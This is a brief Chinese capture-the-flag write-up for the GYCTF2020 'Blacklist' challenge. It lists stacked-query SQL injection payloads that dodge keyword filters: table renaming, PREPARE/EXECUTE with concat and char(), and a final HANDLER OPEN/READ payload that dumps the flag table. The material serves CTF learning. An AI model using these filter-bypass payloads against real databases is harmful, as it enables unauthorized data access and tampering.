GYCTF2020 Blacklist
过滤更加严格了。
之前强网杯的随便注,采用的是
重命名表
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
prepare 预处理
# payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
# payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
# payload3:只是用 contact (), 不使用 char ()
1';prepare hacksql from concat('se','lect * from `1919810931114514`');execute hacksql;#
但这次都被过滤掉了。那么采用 handle 的方式
HANDLER … OPEN 语句打开一个表,使其可以使用后续 HANDLER … READ 语句访问,该表对象未被其他会话共享,并且在会话调用 HANDLER … CLOSE 或会话终止之前不会关闭
官方文档
payload:
1';handler flagisThis open;handler flagisThis read first;handler flagisThis close;#